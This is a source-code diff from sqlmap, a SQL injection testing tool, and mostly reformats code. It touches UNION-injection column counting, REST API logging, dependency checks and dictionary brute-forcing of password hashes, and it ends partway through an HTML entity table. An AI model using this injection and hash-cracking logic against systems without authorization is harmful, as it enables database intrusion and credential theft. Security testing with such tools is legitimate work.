infoMsg += "range for current UNION query injection technique test"
|
infoMsg += "range for current UNION query injection technique test"
|
||||||
singleTimeLogMessage(infoMsg)
|
singleTimeLogMessage(infoMsg)
|
||||||
|
|
||||||
lowCols, highCols = 1, ORDER_BY_STEP
|
lowCols, highCols = 1 if lowerCount is None else lowerCount, ORDER_BY_STEP if upperCount is None else upperCount
|
||||||
found = None
|
found = None
|
||||||
while not found:
|
while not found:
|
||||||
if _orderByTest(highCols):
|
if not conf.uCols and _orderByTest(highCols):
|
||||||
lowCols = highCols
|
lowCols = highCols
|
||||||
highCols += ORDER_BY_STEP
|
highCols += ORDER_BY_STEP
|
||||||
else:
|
else:
|
||||||
@@ -88,8 +88,8 @@ def _findUnionCharCount(comment, place, parameter, value, prefix, suffix, where=
|
|||||||
kb.errorIsNone = False
|
kb.errorIsNone = False
|
||||||
lowerCount, upperCount = conf.uColsStart, conf.uColsStop
|
lowerCount, upperCount = conf.uColsStart, conf.uColsStop
|
||||||
|
|
||||||
if lowerCount == 1:
|
if lowerCount == 1 or conf.uCols:
|
||||||
found = kb.orderByColumns or _orderByTechnique()
|
found = kb.orderByColumns or _orderByTechnique(lowerCount, upperCount)
|
||||||
if found:
|
if found:
|
||||||
kb.orderByColumns = found
|
kb.orderByColumns = found
|
||||||
infoMsg = "target URL appears to have %d column%s in query" % (found, 's' if found > 1 else "")
|
infoMsg = "target URL appears to have %d column%s in query" % (found, 's' if found > 1 else "")
|
||||||
@@ -142,14 +142,16 @@ def _findUnionCharCount(comment, place, parameter, value, prefix, suffix, where=
|
|||||||
|
|
||||||
elif abs(max_ - min_) >= MIN_STATISTICAL_RANGE:
|
elif abs(max_ - min_) >= MIN_STATISTICAL_RANGE:
|
||||||
deviation = stdev(ratios)
|
deviation = stdev(ratios)
|
||||||
lower, upper = average(ratios) - UNION_STDEV_COEFF * deviation, average(ratios) + UNION_STDEV_COEFF * deviation
|
|
||||||
|
|
||||||
if min_ < lower:
|
if deviation is not None:
|
||||||
retVal = minItem[0]
|
lower, upper = average(ratios) - UNION_STDEV_COEFF * deviation, average(ratios) + UNION_STDEV_COEFF * deviation
|
||||||
|
|
||||||
if max_ > upper:
|
if min_ < lower:
|
||||||
if retVal is None or abs(max_ - upper) > abs(min_ - lower):
|
retVal = minItem[0]
|
||||||
retVal = maxItem[0]
|
|
||||||
|
if max_ > upper:
|
||||||
|
if retVal is None or abs(max_ - upper) > abs(min_ - lower):
|
||||||
|
retVal = maxItem[0]
|
||||||
finally:
|
finally:
|
||||||
kb.errorIsNone = popValue()
|
kb.errorIsNone = popValue()
|
||||||
|
|
||||||
|
|||||||
@@ -44,6 +44,7 @@ from lib.core.data import logger
|
|||||||
from lib.core.data import queries
|
from lib.core.data import queries
|
||||||
from lib.core.dicts import FROM_DUMMY_TABLE
|
from lib.core.dicts import FROM_DUMMY_TABLE
|
||||||
from lib.core.enums import DBMS
|
from lib.core.enums import DBMS
|
||||||
|
from lib.core.enums import HTTP_HEADER
|
||||||
from lib.core.enums import PAYLOAD
|
from lib.core.enums import PAYLOAD
|
||||||
from lib.core.exception import SqlmapDataException
|
from lib.core.exception import SqlmapDataException
|
||||||
from lib.core.exception import SqlmapSyntaxException
|
from lib.core.exception import SqlmapSyntaxException
|
||||||
@@ -89,11 +90,7 @@ def _oneShotUnionUse(expression, unpack=True, limited=False):
|
|||||||
# Parse the returned page to get the exact UNION-based
|
# Parse the returned page to get the exact UNION-based
|
||||||
# SQL injection output
|
# SQL injection output
|
||||||
def _(regex):
|
def _(regex):
|
||||||
return reduce(lambda x, y: x if x is not None else y, (\
|
return reduce(lambda x, y: x if x is not None else y, (extractRegexResult(regex, removeReflectiveValues(page, payload), re.DOTALL | re.IGNORECASE), extractRegexResult(regex, removeReflectiveValues(listToStrValue((_ for _ in headers.headers if not _.startswith(HTTP_HEADER.URI)) if headers else None), payload, True), re.DOTALL | re.IGNORECASE)), None)
|
||||||
extractRegexResult(regex, removeReflectiveValues(page, payload), re.DOTALL | re.IGNORECASE), \
|
|
||||||
extractRegexResult(regex, removeReflectiveValues(listToStrValue(headers.headers \
|
|
||||||
if headers else None), payload, True), re.DOTALL | re.IGNORECASE)), \
|
|
||||||
None)
|
|
||||||
|
|
||||||
# Automatically patching last char trimming cases
|
# Automatically patching last char trimming cases
|
||||||
if kb.chars.stop not in (page or "") and kb.chars.stop[:-1] in (page or ""):
|
if kb.chars.stop not in (page or "") and kb.chars.stop[:-1] in (page or ""):
|
||||||
@@ -236,13 +233,7 @@ def unionUse(expression, unpack=True, dump=False):
|
|||||||
# SQL limiting the query output one entry at a time
|
# SQL limiting the query output one entry at a time
|
||||||
# NOTE: we assume that only queries that get data from a table can
|
# NOTE: we assume that only queries that get data from a table can
|
||||||
# return multiple entries
|
# return multiple entries
|
||||||
if value is None and (kb.injection.data[PAYLOAD.TECHNIQUE.UNION].where == PAYLOAD.WHERE.NEGATIVE or \
|
if value is None and (kb.injection.data[PAYLOAD.TECHNIQUE.UNION].where == PAYLOAD.WHERE.NEGATIVE or kb.forcePartialUnion or (dump and (conf.limitStart or conf.limitStop)) or "LIMIT " in expression.upper()) and " FROM " in expression.upper() and ((Backend.getIdentifiedDbms() not in FROM_DUMMY_TABLE) or (Backend.getIdentifiedDbms() in FROM_DUMMY_TABLE and not expression.upper().endswith(FROM_DUMMY_TABLE[Backend.getIdentifiedDbms()]))) and not re.search(SQL_SCALAR_REGEX, expression, re.I):
|
||||||
kb.forcePartialUnion or \
|
|
||||||
(dump and (conf.limitStart or conf.limitStop)) or "LIMIT " in expression.upper()) and \
|
|
||||||
" FROM " in expression.upper() and ((Backend.getIdentifiedDbms() \
|
|
||||||
not in FROM_DUMMY_TABLE) or (Backend.getIdentifiedDbms() in FROM_DUMMY_TABLE \
|
|
||||||
and not expression.upper().endswith(FROM_DUMMY_TABLE[Backend.getIdentifiedDbms()]))) \
|
|
||||||
and not re.search(SQL_SCALAR_REGEX, expression, re.I):
|
|
||||||
expression, limitCond, topLimit, startLimit, stopLimit = agent.limitCondition(expression, dump)
|
expression, limitCond, topLimit, startLimit, stopLimit = agent.limitCondition(expression, dump)
|
||||||
|
|
||||||
if limitCond:
|
if limitCond:
|
||||||
|
|||||||
+6
-17
@@ -94,7 +94,7 @@ class Database(object):
|
|||||||
else:
|
else:
|
||||||
self.cursor.execute(statement)
|
self.cursor.execute(statement)
|
||||||
except sqlite3.OperationalError, ex:
|
except sqlite3.OperationalError, ex:
|
||||||
if not "locked" in getSafeExString(ex):
|
if "locked" not in getSafeExString(ex):
|
||||||
raise
|
raise
|
||||||
else:
|
else:
|
||||||
break
|
break
|
||||||
@@ -103,22 +103,11 @@ class Database(object):
|
|||||||
return self.cursor.fetchall()
|
return self.cursor.fetchall()
|
||||||
|
|
||||||
def init(self):
|
def init(self):
|
||||||
self.execute("CREATE TABLE logs("
|
self.execute("CREATE TABLE logs(id INTEGER PRIMARY KEY AUTOINCREMENT, taskid INTEGER, time TEXT, level TEXT, message TEXT)")
|
||||||
"id INTEGER PRIMARY KEY AUTOINCREMENT, "
|
|
||||||
"taskid INTEGER, time TEXT, "
|
|
||||||
"level TEXT, message TEXT"
|
|
||||||
")")
|
|
||||||
|
|
||||||
self.execute("CREATE TABLE data("
|
self.execute("CREATE TABLE data(id INTEGER PRIMARY KEY AUTOINCREMENT, taskid INTEGER, status INTEGER, content_type INTEGER, value TEXT)")
|
||||||
"id INTEGER PRIMARY KEY AUTOINCREMENT, "
|
|
||||||
"taskid INTEGER, status INTEGER, "
|
|
||||||
"content_type INTEGER, value TEXT"
|
|
||||||
")")
|
|
||||||
|
|
||||||
self.execute("CREATE TABLE errors("
|
self.execute("CREATE TABLE errors(id INTEGER PRIMARY KEY AUTOINCREMENT, taskid INTEGER, error TEXT)")
|
||||||
"id INTEGER PRIMARY KEY AUTOINCREMENT, "
|
|
||||||
"taskid INTEGER, error TEXT"
|
|
||||||
")")
|
|
||||||
|
|
||||||
class Task(object):
|
class Task(object):
|
||||||
def __init__(self, taskid, remote_addr):
|
def __init__(self, taskid, remote_addr):
|
||||||
@@ -277,7 +266,7 @@ def setRestAPILog():
|
|||||||
conf.databaseCursor = Database(conf.database)
|
conf.databaseCursor = Database(conf.database)
|
||||||
conf.databaseCursor.connect("client")
|
conf.databaseCursor.connect("client")
|
||||||
except sqlite3.OperationalError, ex:
|
except sqlite3.OperationalError, ex:
|
||||||
raise SqlmapConnectionException, "%s ('%s')" % (ex, conf.database)
|
raise SqlmapConnectionException("%s ('%s')" % (ex, conf.database))
|
||||||
|
|
||||||
# Set a logging handler that writes log messages to a IPC database
|
# Set a logging handler that writes log messages to a IPC database
|
||||||
logger.removeHandler(LOGGER_HANDLER)
|
logger.removeHandler(LOGGER_HANDLER)
|
||||||
@@ -860,7 +849,7 @@ def client(host=RESTAPI_DEFAULT_ADDRESS, port=RESTAPI_DEFAULT_PORT, username=Non
|
|||||||
return
|
return
|
||||||
|
|
||||||
elif command in ("help", "?"):
|
elif command in ("help", "?"):
|
||||||
msg = "help Show this help message\n"
|
msg = "help Show this help message\n"
|
||||||
msg += "new ARGS Start a new scan task with provided arguments (e.g. 'new -u \"http://testphp.vulnweb.com/artists.php?artist=1\"')\n"
|
msg += "new ARGS Start a new scan task with provided arguments (e.g. 'new -u \"http://testphp.vulnweb.com/artists.php?artist=1\"')\n"
|
||||||
msg += "use TASKID Switch current context to different task (e.g. 'use c04d8c5c7582efb4')\n"
|
msg += "use TASKID Switch current context to different task (e.g. 'use c04d8c5c7582efb4')\n"
|
||||||
msg += "data Retrieve and show data for current task\n"
|
msg += "data Retrieve and show data for current task\n"
|
||||||
|
|||||||
@@ -167,7 +167,7 @@ def crawl(target):
|
|||||||
if not conf.bulkFile:
|
if not conf.bulkFile:
|
||||||
logger.info("searching for links with depth %d" % (i + 1))
|
logger.info("searching for links with depth %d" % (i + 1))
|
||||||
|
|
||||||
runThreads(numThreads, crawlThread, threadChoice=(i>0))
|
runThreads(numThreads, crawlThread, threadChoice=(i > 0))
|
||||||
clearConsoleLine(True)
|
clearConsoleLine(True)
|
||||||
|
|
||||||
if threadData.shared.deeper:
|
if threadData.shared.deeper:
|
||||||
|
|||||||
+6
-7
@@ -25,7 +25,7 @@ def checkDependencies():
|
|||||||
if not hasattr(pymssql, "__version__") or pymssql.__version__ < "1.0.2":
|
if not hasattr(pymssql, "__version__") or pymssql.__version__ < "1.0.2":
|
||||||
warnMsg = "'%s' third-party library must be " % data[1]
|
warnMsg = "'%s' third-party library must be " % data[1]
|
||||||
warnMsg += "version >= 1.0.2 to work properly. "
|
warnMsg += "version >= 1.0.2 to work properly. "
|
||||||
warnMsg += "Download from %s" % data[2]
|
warnMsg += "Download from '%s'" % data[2]
|
||||||
logger.warn(warnMsg)
|
logger.warn(warnMsg)
|
||||||
elif dbmsName == DBMS.MYSQL:
|
elif dbmsName == DBMS.MYSQL:
|
||||||
__import__("pymysql")
|
__import__("pymysql")
|
||||||
@@ -49,7 +49,7 @@ def checkDependencies():
|
|||||||
except:
|
except:
|
||||||
warnMsg = "sqlmap requires '%s' third-party library " % data[1]
|
warnMsg = "sqlmap requires '%s' third-party library " % data[1]
|
||||||
warnMsg += "in order to directly connect to the DBMS "
|
warnMsg += "in order to directly connect to the DBMS "
|
||||||
warnMsg += "'%s'. Download from %s" % (dbmsName, data[2])
|
warnMsg += "'%s'. Download from '%s'" % (dbmsName, data[2])
|
||||||
logger.warn(warnMsg)
|
logger.warn(warnMsg)
|
||||||
missing_libraries.add(data[1])
|
missing_libraries.add(data[1])
|
||||||
|
|
||||||
@@ -65,7 +65,7 @@ def checkDependencies():
|
|||||||
except ImportError:
|
except ImportError:
|
||||||
warnMsg = "sqlmap requires 'python-impacket' third-party library for "
|
warnMsg = "sqlmap requires 'python-impacket' third-party library for "
|
||||||
warnMsg += "out-of-band takeover feature. Download from "
|
warnMsg += "out-of-band takeover feature. Download from "
|
||||||
warnMsg += "http://code.google.com/p/impacket/"
|
warnMsg += "'http://code.google.com/p/impacket/'"
|
||||||
logger.warn(warnMsg)
|
logger.warn(warnMsg)
|
||||||
missing_libraries.add('python-impacket')
|
missing_libraries.add('python-impacket')
|
||||||
|
|
||||||
@@ -76,7 +76,7 @@ def checkDependencies():
|
|||||||
except ImportError:
|
except ImportError:
|
||||||
warnMsg = "sqlmap requires 'python-ntlm' third-party library "
|
warnMsg = "sqlmap requires 'python-ntlm' third-party library "
|
||||||
warnMsg += "if you plan to attack a web application behind NTLM "
|
warnMsg += "if you plan to attack a web application behind NTLM "
|
||||||
warnMsg += "authentication. Download from http://code.google.com/p/python-ntlm/"
|
warnMsg += "authentication. Download from 'http://code.google.com/p/python-ntlm/'"
|
||||||
logger.warn(warnMsg)
|
logger.warn(warnMsg)
|
||||||
missing_libraries.add('python-ntlm')
|
missing_libraries.add('python-ntlm')
|
||||||
|
|
||||||
@@ -87,7 +87,7 @@ def checkDependencies():
|
|||||||
except ImportError:
|
except ImportError:
|
||||||
warnMsg = "sqlmap requires 'websocket-client' third-party library "
|
warnMsg = "sqlmap requires 'websocket-client' third-party library "
|
||||||
warnMsg += "if you plan to attack a web application using WebSocket. "
|
warnMsg += "if you plan to attack a web application using WebSocket. "
|
||||||
warnMsg += "Download from https://pypi.python.org/pypi/websocket-client/"
|
warnMsg += "Download from 'https://pypi.python.org/pypi/websocket-client/'"
|
||||||
logger.warn(warnMsg)
|
logger.warn(warnMsg)
|
||||||
missing_libraries.add('websocket-client')
|
missing_libraries.add('websocket-client')
|
||||||
|
|
||||||
@@ -101,11 +101,10 @@ def checkDependencies():
|
|||||||
warnMsg += "be able to take advantage of the sqlmap TAB "
|
warnMsg += "be able to take advantage of the sqlmap TAB "
|
||||||
warnMsg += "completion and history support features in the SQL "
|
warnMsg += "completion and history support features in the SQL "
|
||||||
warnMsg += "shell and OS shell. Download from "
|
warnMsg += "shell and OS shell. Download from "
|
||||||
warnMsg += "http://ipython.scipy.org/moin/PyReadline/Intro"
|
warnMsg += "'http://ipython.scipy.org/moin/PyReadline/Intro'"
|
||||||
logger.warn(warnMsg)
|
logger.warn(warnMsg)
|
||||||
missing_libraries.add('python-pyreadline')
|
missing_libraries.add('python-pyreadline')
|
||||||
|
|
||||||
if len(missing_libraries) == 0:
|
if len(missing_libraries) == 0:
|
||||||
infoMsg = "all dependencies are installed"
|
infoMsg = "all dependencies are installed"
|
||||||
logger.info(infoMsg)
|
logger.info(infoMsg)
|
||||||
|
|
||||||
|
|||||||
+2
-3
@@ -25,7 +25,7 @@ class _Getch(object):
|
|||||||
|
|
||||||
class _GetchUnix(object):
|
class _GetchUnix(object):
|
||||||
def __init__(self):
|
def __init__(self):
|
||||||
import tty
|
__import__("tty")
|
||||||
|
|
||||||
def __call__(self):
|
def __call__(self):
|
||||||
import sys
|
import sys
|
||||||
@@ -44,7 +44,7 @@ class _GetchUnix(object):
|
|||||||
|
|
||||||
class _GetchWindows(object):
|
class _GetchWindows(object):
|
||||||
def __init__(self):
|
def __init__(self):
|
||||||
import msvcrt
|
__import__("msvcrt")
|
||||||
|
|
||||||
def __call__(self):
|
def __call__(self):
|
||||||
import msvcrt
|
import msvcrt
|
||||||
@@ -81,4 +81,3 @@ class _GetchMacCarbon(object):
|
|||||||
|
|
||||||
|
|
||||||
getch = _Getch()
|
getch = _Getch()
|
||||||
|
|
||||||
|
|||||||
+42
-39
@@ -16,6 +16,9 @@ try:
|
|||||||
|
|
||||||
# problems on FreeBSD (Reference: http://www.eggheadcafe.com/microsoft/Python/35880259/multiprocessing-on-freebsd.aspx)
|
# problems on FreeBSD (Reference: http://www.eggheadcafe.com/microsoft/Python/35880259/multiprocessing-on-freebsd.aspx)
|
||||||
_ = multiprocessing.Queue()
|
_ = multiprocessing.Queue()
|
||||||
|
|
||||||
|
# problems with ctypes (Reference: https://github.com/sqlmapproject/sqlmap/issues/2952)
|
||||||
|
_ = multiprocessing.Value('i')
|
||||||
except (ImportError, OSError):
|
except (ImportError, OSError):
|
||||||
pass
|
pass
|
||||||
else:
|
else:
|
||||||
@@ -132,7 +135,6 @@ def postgres_passwd(password, username, uppercase=False):
|
|||||||
'md599e5ea7a6f7c3269995cba3927fd0093'
|
'md599e5ea7a6f7c3269995cba3927fd0093'
|
||||||
"""
|
"""
|
||||||
|
|
||||||
|
|
||||||
if isinstance(username, unicode):
|
if isinstance(username, unicode):
|
||||||
username = unicode.encode(username, UNICODE_ENCODING)
|
username = unicode.encode(username, UNICODE_ENCODING)
|
||||||
|
|
||||||
@@ -377,7 +379,7 @@ def unix_md5_passwd(password, salt, magic="$1$", **kwargs):
|
|||||||
ctx = password + magic + salt
|
ctx = password + magic + salt
|
||||||
final = md5(password + salt + password).digest()
|
final = md5(password + salt + password).digest()
|
||||||
|
|
||||||
for pl in xrange(len(password),0,-16):
|
for pl in xrange(len(password), 0, -16):
|
||||||
if pl > 16:
|
if pl > 16:
|
||||||
ctx = ctx + final[:16]
|
ctx = ctx + final[:16]
|
||||||
else:
|
else:
|
||||||
@@ -386,7 +388,7 @@ def unix_md5_passwd(password, salt, magic="$1$", **kwargs):
|
|||||||
i = len(password)
|
i = len(password)
|
||||||
while i:
|
while i:
|
||||||
if i & 1:
|
if i & 1:
|
||||||
ctx = ctx + chr(0) #if ($i & 1) { $ctx->add(pack("C", 0)); }
|
ctx = ctx + chr(0) # if ($i & 1) { $ctx->add(pack("C", 0)); }
|
||||||
else:
|
else:
|
||||||
ctx = ctx + password[0]
|
ctx = ctx + password[0]
|
||||||
i = i >> 1
|
i = i >> 1
|
||||||
@@ -414,7 +416,7 @@ def unix_md5_passwd(password, salt, magic="$1$", **kwargs):
|
|||||||
|
|
||||||
final = md5(ctx1).digest()
|
final = md5(ctx1).digest()
|
||||||
|
|
||||||
hash_ = _encode64((int(ord(final[0])) << 16) | (int(ord(final[6])) << 8) | (int(ord(final[12]))),4)
|
hash_ = _encode64((int(ord(final[0])) << 16) | (int(ord(final[6])) << 8) | (int(ord(final[12]))), 4)
|
||||||
hash_ = hash_ + _encode64((int(ord(final[1])) << 16) | (int(ord(final[7])) << 8) | (int(ord(final[13]))), 4)
|
hash_ = hash_ + _encode64((int(ord(final[1])) << 16) | (int(ord(final[7])) << 8) | (int(ord(final[13]))), 4)
|
||||||
hash_ = hash_ + _encode64((int(ord(final[2])) << 16) | (int(ord(final[8])) << 8) | (int(ord(final[14]))), 4)
|
hash_ = hash_ + _encode64((int(ord(final[2])) << 16) | (int(ord(final[8])) << 8) | (int(ord(final[14]))), 4)
|
||||||
hash_ = hash_ + _encode64((int(ord(final[3])) << 16) | (int(ord(final[9])) << 8) | (int(ord(final[15]))), 4)
|
hash_ = hash_ + _encode64((int(ord(final[3])) << 16) | (int(ord(final[9])) << 8) | (int(ord(final[15]))), 4)
|
||||||
@@ -519,38 +521,38 @@ def wordpress_passwd(password, salt, count, prefix, **kwargs):
|
|||||||
return "%s%s" % (prefix, _encode64(hash_, 16))
|
return "%s%s" % (prefix, _encode64(hash_, 16))
|
||||||
|
|
||||||
__functions__ = {
|
__functions__ = {
|
||||||
HASH.MYSQL: mysql_passwd,
|
HASH.MYSQL: mysql_passwd,
|
||||||
HASH.MYSQL_OLD: mysql_old_passwd,
|
HASH.MYSQL_OLD: mysql_old_passwd,
|
||||||
HASH.POSTGRES: postgres_passwd,
|
HASH.POSTGRES: postgres_passwd,
|
||||||
HASH.MSSQL: mssql_passwd,
|
HASH.MSSQL: mssql_passwd,
|
||||||
HASH.MSSQL_OLD: mssql_old_passwd,
|
HASH.MSSQL_OLD: mssql_old_passwd,
|
||||||
HASH.MSSQL_NEW: mssql_new_passwd,
|
HASH.MSSQL_NEW: mssql_new_passwd,
|
||||||
HASH.ORACLE: oracle_passwd,
|
HASH.ORACLE: oracle_passwd,
|
||||||
HASH.ORACLE_OLD: oracle_old_passwd,
|
HASH.ORACLE_OLD: oracle_old_passwd,
|
||||||
HASH.MD5_GENERIC: md5_generic_passwd,
|
HASH.MD5_GENERIC: md5_generic_passwd,
|
||||||
HASH.SHA1_GENERIC: sha1_generic_passwd,
|
HASH.SHA1_GENERIC: sha1_generic_passwd,
|
||||||
HASH.SHA224_GENERIC: sha224_generic_passwd,
|
HASH.SHA224_GENERIC: sha224_generic_passwd,
|
||||||
HASH.SHA256_GENERIC: sha256_generic_passwd,
|
HASH.SHA256_GENERIC: sha256_generic_passwd,
|
||||||
HASH.SHA384_GENERIC: sha384_generic_passwd,
|
HASH.SHA384_GENERIC: sha384_generic_passwd,
|
||||||
HASH.SHA512_GENERIC: sha512_generic_passwd,
|
HASH.SHA512_GENERIC: sha512_generic_passwd,
|
||||||
HASH.CRYPT_GENERIC: crypt_generic_passwd,
|
HASH.CRYPT_GENERIC: crypt_generic_passwd,
|
||||||
HASH.JOOMLA: joomla_passwd,
|
HASH.JOOMLA: joomla_passwd,
|
||||||
HASH.DJANGO_MD5: django_md5_passwd,
|
HASH.DJANGO_MD5: django_md5_passwd,
|
||||||
HASH.DJANGO_SHA1: django_sha1_passwd,
|
HASH.DJANGO_SHA1: django_sha1_passwd,
|
||||||
HASH.WORDPRESS: wordpress_passwd,
|
HASH.WORDPRESS: wordpress_passwd,
|
||||||
HASH.APACHE_MD5_CRYPT: unix_md5_passwd,
|
HASH.APACHE_MD5_CRYPT: unix_md5_passwd,
|
||||||
HASH.UNIX_MD5_CRYPT: unix_md5_passwd,
|
HASH.UNIX_MD5_CRYPT: unix_md5_passwd,
|
||||||
HASH.APACHE_SHA1: apache_sha1_passwd,
|
HASH.APACHE_SHA1: apache_sha1_passwd,
|
||||||
HASH.VBULLETIN: vbulletin_passwd,
|
HASH.VBULLETIN: vbulletin_passwd,
|
||||||
HASH.VBULLETIN_OLD: vbulletin_passwd,
|
HASH.VBULLETIN_OLD: vbulletin_passwd,
|
||||||
HASH.SSHA: ssha_passwd,
|
HASH.SSHA: ssha_passwd,
|
||||||
HASH.SSHA256: ssha256_passwd,
|
HASH.SSHA256: ssha256_passwd,
|
||||||
HASH.SSHA512: ssha512_passwd,
|
HASH.SSHA512: ssha512_passwd,
|
||||||
HASH.MD5_BASE64: md5_generic_passwd,
|
HASH.MD5_BASE64: md5_generic_passwd,
|
||||||
HASH.SHA1_BASE64: sha1_generic_passwd,
|
HASH.SHA1_BASE64: sha1_generic_passwd,
|
||||||
HASH.SHA256_BASE64: sha256_generic_passwd,
|
HASH.SHA256_BASE64: sha256_generic_passwd,
|
||||||
HASH.SHA512_BASE64: sha512_generic_passwd,
|
HASH.SHA512_BASE64: sha512_generic_passwd,
|
||||||
}
|
}
|
||||||
|
|
||||||
def storeHashesToFile(attack_dict):
|
def storeHashesToFile(attack_dict):
|
||||||
if not attack_dict:
|
if not attack_dict:
|
||||||
@@ -719,6 +721,8 @@ def _bruteProcessVariantA(attack_info, hash_regex, suffix, retVal, proc_id, proc
|
|||||||
if not attack_info:
|
if not attack_info:
|
||||||
break
|
break
|
||||||
|
|
||||||
|
count += 1
|
||||||
|
|
||||||
if not isinstance(word, basestring):
|
if not isinstance(word, basestring):
|
||||||
continue
|
continue
|
||||||
|
|
||||||
@@ -728,8 +732,6 @@ def _bruteProcessVariantA(attack_info, hash_regex, suffix, retVal, proc_id, proc
|
|||||||
try:
|
try:
|
||||||
current = __functions__[hash_regex](password=word, uppercase=False)
|
current = __functions__[hash_regex](password=word, uppercase=False)
|
||||||
|
|
||||||
count += 1
|
|
||||||
|
|
||||||
if current in hashes:
|
if current in hashes:
|
||||||
for item in attack_info[:]:
|
for item in attack_info[:]:
|
||||||
((user, hash_), _) = item
|
((user, hash_), _) = item
|
||||||
@@ -794,7 +796,6 @@ def _bruteProcessVariantB(user, hash_, kwargs, hash_regex, suffix, retVal, found
|
|||||||
if found.value:
|
if found.value:
|
||||||
break
|
break
|
||||||
|
|
||||||
current = __functions__[hash_regex](password=word, uppercase=False, **kwargs)
|
|
||||||
count += 1
|
count += 1
|
||||||
|
|
||||||
if not isinstance(word, basestring):
|
if not isinstance(word, basestring):
|
||||||
@@ -804,6 +805,8 @@ def _bruteProcessVariantB(user, hash_, kwargs, hash_regex, suffix, retVal, found
|
|||||||
word = word + suffix
|
word = word + suffix
|
||||||
|
|
||||||
try:
|
try:
|
||||||
|
current = __functions__[hash_regex](password=word, uppercase=False, **kwargs)
|
||||||
|
|
||||||
if hash_ == current:
|
if hash_ == current:
|
||||||
if hash_regex == HASH.ORACLE_OLD: # only for cosmetic purposes
|
if hash_regex == HASH.ORACLE_OLD: # only for cosmetic purposes
|
||||||
word = word.upper()
|
word = word.upper()
|
||||||
|
|||||||
+1
-1
@@ -92,7 +92,7 @@ class HashDB(object):
|
|||||||
except sqlite3.DatabaseError, ex:
|
except sqlite3.DatabaseError, ex:
|
||||||
errMsg = "error occurred while accessing session file '%s' ('%s'). " % (self.filepath, getSafeExString(ex))
|
errMsg = "error occurred while accessing session file '%s' ('%s'). " % (self.filepath, getSafeExString(ex))
|
||||||
errMsg += "If the problem persists please rerun with `--flush-session`"
|
errMsg += "If the problem persists please rerun with `--flush-session`"
|
||||||
raise SqlmapConnectionException, errMsg
|
raise SqlmapConnectionException(errMsg)
|
||||||
else:
|
else:
|
||||||
break
|
break
|
||||||
|
|
||||||
|
|||||||
+252
-252
@@ -8,256 +8,256 @@ See the file 'LICENSE' for copying permission
|
|||||||
# Reference: http://www.w3.org/TR/1999/REC-html401-19991224/sgml/entities.html
|
# Reference: http://www.w3.org/TR/1999/REC-html401-19991224/sgml/entities.html
|
||||||
|
|
||||||
htmlEntities = {
|
htmlEntities = {
|
||||||
'quot': 34,
|
"quot": 34,
|
||||||
'amp': 38,
|
"amp": 38,
|
||||||
'lt': 60,
|
"lt": 60,
|
||||||
'gt': 62,
|
"gt": 62,
|
||||||
'nbsp': 160,
|
"nbsp": 160,
|
||||||
'iexcl': 161,
|
"iexcl": 161,
|
||||||
'cent': 162,
|
"cent": 162,
|
||||||
'pound': 163,
|
"pound": 163,
|
||||||
'curren': 164,
|
"curren": 164,
|
||||||
'yen': 165,
|
"yen": 165,
|
||||||
'brvbar': 166,
|
"brvbar": 166,
|
||||||
'sect': 167,
|
"sect": 167,
|
||||||
'uml': 168,
|
"uml": 168,
|
||||||
'copy': 169,
|
"copy": 169,
|
||||||
'ordf': 170,
|
"ordf": 170,
|
||||||
'laquo': 171,
|
"laquo": 171,
|
||||||
'not': 172,
|
"not": 172,
|
||||||
'shy': 173,
|
"shy": 173,
|
||||||
'reg': 174,
|
"reg": 174,
|
||||||
'macr': 175,
|
"macr": 175,
|
||||||
'deg': 176,
|
"deg": 176,
|
||||||
'plusmn': 177,
|
"plusmn": 177,
|
||||||
'sup2': 178,
|
"sup2": 178,
|
||||||
'sup3': 179,
|
"sup3": 179,
|
||||||
'acute': 180,
|
"acute": 180,
|
||||||
'micro': 181,
|
"micro": 181,
|
||||||
'para': 182,
|
"para": 182,
|
||||||
'middot': 183,
|
"middot": 183,
|
||||||
'cedil': 184,
|
"cedil": 184,
|
||||||
'sup1': 185,
|
"sup1": 185,
|
||||||
'ordm': 186,
|
"ordm": 186,
|
||||||
'raquo': 187,
|
"raquo": 187,
|
||||||
'frac14': 188,
|
"frac14": 188,
|
||||||
'frac12': 189,
|
"frac12": 189,
|
||||||
'frac34': 190,
|
"frac34": 190,
|
||||||
'iquest': 191,
|
"iquest": 191,
|
||||||
'Agrave': 192,
|
"Agrave": 192,
|
||||||
'Aacute': 193,
|
"Aacute": 193,
|
||||||
'Acirc': 194,
|
"Acirc": 194,
|
||||||
'Atilde': 195,
|
"Atilde": 195,
|
||||||
'Auml': 196,
|
"Auml": 196,
|
||||||
'Aring': 197,
|
"Aring": 197,
|
||||||
'AElig': 198,
|
"AElig": 198,
|
||||||
'Ccedil': 199,
|
"Ccedil": 199,
|
||||||
'Egrave': 200,
|
"Egrave": 200,
|
||||||
'Eacute': 201,
|
"Eacute": 201,
|
||||||
'Ecirc': 202,
|
"Ecirc": 202,
|
||||||
'Euml': 203,
|
"Euml": 203,
|
||||||
'Igrave': 204,
|
"Igrave": 204,
|
||||||
'Iacute': 205,
|
"Iacute": 205,
|
||||||
'Icirc': 206,
|
"Icirc": 206,
|
||||||
'Iuml': 207,
|
"Iuml": 207,
|
||||||
'ETH': 208,
|
"ETH": 208,
|
||||||
'Ntilde': 209,
|
"Ntilde": 209,
|
||||||
'Ograve': 210,
|
"Ograve": 210,
|
||||||
'Oacute': 211,
|
"Oacute": 211,
|
||||||
'Ocirc': 212,
|
"Ocirc": 212,
|
||||||
'Otilde': 213,
|
"Otilde": 213,
|
||||||
'Ouml': 214,
|
"Ouml": 214,
|
||||||
'times': 215,
|
"times": 215,
|
||||||
'Oslash': 216,
|
"Oslash": 216,
|
||||||
'Ugrave': 217,
|
"Ugrave": 217,
|
||||||
'Uacute': 218,
|
"Uacute": 218,
|
||||||
'Ucirc': 219,
|
"Ucirc": 219,
|
||||||
'Uuml': 220,
|
"Uuml": 220,
|
||||||
'Yacute': 221,
|
"Yacute": 221,
|
||||||
'THORN': 222,
|
"THORN": 222,
|
||||||
'szlig': 223,
|
"szlig": 223,
|
||||||
'agrave': 224,
|
"agrave": 224,
|
||||||
'aacute': 225,
|
"aacute": 225,
|
||||||
'acirc': 226,
|
"acirc": 226,
|
||||||
'atilde': 227,
|
"atilde": 227,
|
||||||
'auml': 228,
|
"auml": 228,
|
||||||
'aring': 229,
|
"aring": 229,
|
||||||
'aelig': 230,
|
"aelig": 230,
|
||||||
'ccedil': 231,
|
"ccedil": 231,
|
||||||
'egrave': 232,
|
"egrave": 232,
|
||||||
'eacute': 233,
|
"eacute": 233,
|
||||||
'ecirc': 234,
|
"ecirc": 234,
|
||||||
'euml': 235,
|
"euml": 235,
|
||||||
'igrave': 236,
|
"igrave": 236,
